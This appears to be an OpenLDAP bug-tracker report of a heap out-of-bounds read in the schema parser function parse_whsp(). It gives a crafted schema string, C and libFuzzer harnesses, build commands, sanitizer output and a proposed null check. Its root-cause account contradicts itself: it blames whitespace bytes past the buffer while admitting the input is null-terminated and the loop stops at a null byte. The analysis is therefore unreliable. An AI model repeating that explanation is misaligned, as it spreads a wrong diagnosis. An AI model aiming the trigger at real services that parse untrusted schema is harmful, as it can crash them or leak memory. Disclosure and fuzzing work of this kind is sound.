https://bugs.openldap.org/show_bug.cgi?id=10430
Issue ID: 10430
Summary: Heap Buffer Overflow in parse_whsp causes
Out-of-Bounds Read
Product: OpenLDAP
Version: unspecified
Hardware: x86_64
OS: Linux
Status: UNCONFIRMED
Keywords: needs_review
Severity: normal
Priority: ---
Component: libraries
Assignee: [email protected]
Reporter: [email protected]
Target Milestone: ---
## Summary
A heap buffer overflow vulnerability in OpenLDAP's `parse_whsp()` function
allows an attacker to trigger out-of-bounds memory reads when parsing malformed
LDAP schema definitions, potentially leading to information disclosure or
crashes.
## Root Cause
The vulnerability exists in `libraries/libldap/schema.c` at line 1090. The
`parse_whsp()` function iterates through a string checking for whitespace
characters using `LDAP_SPACE()` macro, but does not verify that the pointer
stays within the allocated buffer bounds. When parsing malformed schema strings
that end unexpectedly, the function reads beyond the heap buffer.
### Vulnerable Code (schema.c:1086-1092)
```c
/* Gobble optional whitespace */
static void
parse_whsp(const char **sp)
{
while (LDAP_SPACE(**sp)) // BUG: no bounds check, can read past buffer
(*sp)++;
}
```
### LDAP_SPACE Macro (ldap_pvt.h:255)
```c
#define LDAP_SPACE(c) ((c) == ' ' || (c) == '\t' || (c) == '\n')
```
The macro checks for space/tab/newline but does NOT check for null terminator.
If the heap memory immediately after the allocated buffer happens to contain
whitespace bytes (0x20, 0x09, 0x0a), the function continues reading out of
bounds.
## PoC
### Trigger file
A crafted schema string (`poc`, 49 bytes) that triggers the overflow:
```
(13.5 NAME 'caseExactMatch' SYNTAX 'nooideithe1r.
```
```
hexdump -C poc:
00000000 28 31 33 2e 35 20 4e 41 4d 45 20 27 63 61 73 65 |(13.5 NAME 'case|
00000010 45 78 61 63 74 4d 61 74 63 68 27 20 53 59 4e 54 |ExactMatch' SYNT|
00000020 41 58 20 27 6e 6f 6f 69 64 65 69 74 68 65 31 72 |AX 'nooideithe1r|
00000030 2e |.|
```
### How to generate poc
```python
# generate_poc.py
data = b"(13.5 NAME 'caseExactMatch' SYNTAX 'nooideithe1r."
with open("poc", "wb") as f:
f.write(data)
```
---
## Trigger Method 1: Direct API Call
```c
// test_schema.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ldap.h>
#include <ldap_schema.h>
int main(int argc, char **argv) {
FILE *f = fopen("poc", "rb");
fseek(f, 0, SEEK_END);
long size = ftell(f);
fseek(f, 0, SEEK_SET);
char *input = malloc(size + 1);
fread(input, 1, size, f);
input[size] = '\0';
fclose(f);
int code = 0;
const char *errp = NULL;
// This triggers the vulnerability
LDAPAttributeType *at = ldap_str2attributetype(input, &code, &errp,
LDAP_SCHEMA_ALLOW_ALL);
if (at) {
ldap_attributetype_free(at);
}
free(input);
return 0;
}
```
**Build and run:**
```bash
# Build OpenLDAP with AddressSanitizer
cd openldap
./configure CC=clang CFLAGS="-fsanitize=address -g" --without-tls
make
# Compile and run test
clang -fsanitize=address -g -I include \
-L libraries/libldap/.libs -L libraries/liblber/.libs \
test_schema.c -o test_schema -lldap -llber \
-Wl,-rpath,libraries/libldap/.libs:libraries/liblber/.libs
./test_schema
```
**Output:**
```
==PID==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x506000000052
at pc 0x... bp 0x... sp 0x...
READ of size 1 at 0x506000000052 thread T0
#0 0x... in parse_whsp libraries/libldap/schema.c:1090:9
#1 0x... in ldap_str2attributetype libraries/libldap/schema.c:2313:5
0x506000000052 is located 0 bytes after 50-byte region
[0x506000000020,0x506000000052)
allocated by thread T0 here:
#0 0x... in malloc
#1 0x... in main test_schema.c:...
SUMMARY: AddressSanitizer: heap-buffer-overflow schema.c:1090:9 in parse_whsp
```
---
## Trigger Method 2: Fuzzer
```c
// fuzz_schema.c
#include <stdint.h>
#include <stddef.h>
#include <stdlib.h>
#include <string.h>
#include <ldap.h>
#include <ldap_schema.h>
static const unsigned int flags[] = {
LDAP_SCHEMA_ALLOW_NONE,
LDAP_SCHEMA_ALLOW_NO_OID,
LDAP_SCHEMA_ALLOW_QUOTED,
LDAP_SCHEMA_ALLOW_DESCR,
LDAP_SCHEMA_ALLOW_ALL,
};
#define NUM_FLAGS (sizeof(flags) / sizeof(flags[0]))
int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
if (size == 0 || size > 16384) return 0;
char *input = (char *)malloc(size + 1);
if (!input) return 0;
memcpy(input, data, size);
input[size] = '\0';
int code = 0;
const char *errp = NULL;
// Test ldap_str2attributetype with different flags
for (size_t i = 0; i < NUM_FLAGS; i++) {
code = 0;
errp = NULL;
LDAPAttributeType *at = ldap_str2attributetype(input, &code, &errp,
flags[i]);
if (at) {
ldap_attributetype_free(at);
}
}
// Test ldap_str2objectclass
for (size_t i = 0; i < NUM_FLAGS; i++) {
code = 0;
errp = NULL;
LDAPObjectClass *oc = ldap_str2objectclass(input, &code, &errp,
flags[i]);
if (oc) {
ldap_objectclass_free(oc);
}
}
free(input);
return 0;
}
```
**Build and run:**
```bash
clang -fsanitize=fuzzer,address -g -I include \
-L libraries/libldap/.libs -L libraries/liblber/.libs \
fuzz_schema.c -o fuzz_schema -lldap -llber \
-Wl,-rpath,libraries/libldap/.libs:libraries/liblber/.libs
mkdir corpus && cp poc corpus/
./fuzz_schema corpus/
```
---
## Impact
| Aspect | Details |
|--------|---------|
| **Type** | Out-of-Bounds Read / Information Disclosure |
| **Severity** | High |
| **Attack Vector** | Malicious schema definition string |
| **Affected Components** | `parse_whsp()`, `ldap_str2attributetype()`,
`ldap_str2objectclass()`, libldap |
| **Affected Applications** | Any application using libldap to parse LDAP
schema definitions |
| **CWE** | CWE-125 (Out-of-bounds Read) |
---
## Suggested Fix
Add bounds checking in `parse_whsp()` to ensure it doesn't read past the null
terminator:
```c
static void
parse_whsp(const char **sp)
{
while (**sp && LDAP_SPACE(**sp)) // Add null check
(*sp)++;
}
```
Note: `LDAP_SPACE('\0')` is false (0x00 is not space/tab/newline), so the issue
only occurs when adjacent heap memory contains whitespace bytes. However,
adding an explicit null check makes the code more robust and clearly documents
the termination condition.
--
You are receiving this mail because:
You are on the CC list for the issue.